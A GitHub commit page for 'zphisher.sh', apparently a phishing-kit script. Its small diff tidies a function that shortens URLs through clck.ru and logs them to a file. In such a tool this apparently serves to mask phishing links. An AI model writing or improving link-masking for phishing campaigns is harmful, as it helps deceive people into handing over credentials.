Skip to content

Commit

Permalink
Update zphisher.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
dracksters authored Jun 10, 2024
1 parent 4b64e2d commit 348a1a0
Showing 1 changed file with 5 additions and 2 deletions.
7 changes: 5 additions & 2 deletions zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -567,10 +567,13 @@ site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}
shorten() {
local long_url=$1
local short_url=$(curl -s "https://clck.ru/--?url=$long_url")
echo "Shortened URL: $short_url"
echo "$short_url" >> shortened_urls.txt
processed_url=${short_url%\"} # Remove trailing quote
processed_url=${processed_url#\"} # Remove leading quote
echo "Shortened URL: $processed_url"
echo "$processed_url" >> shortened_urls.txt
}


custom_url() {
url=${1#http*//}
clck_ru="https://clck.ru/--"
Expand Down

0 comments on commit 348a1a0

Please sign in to comment.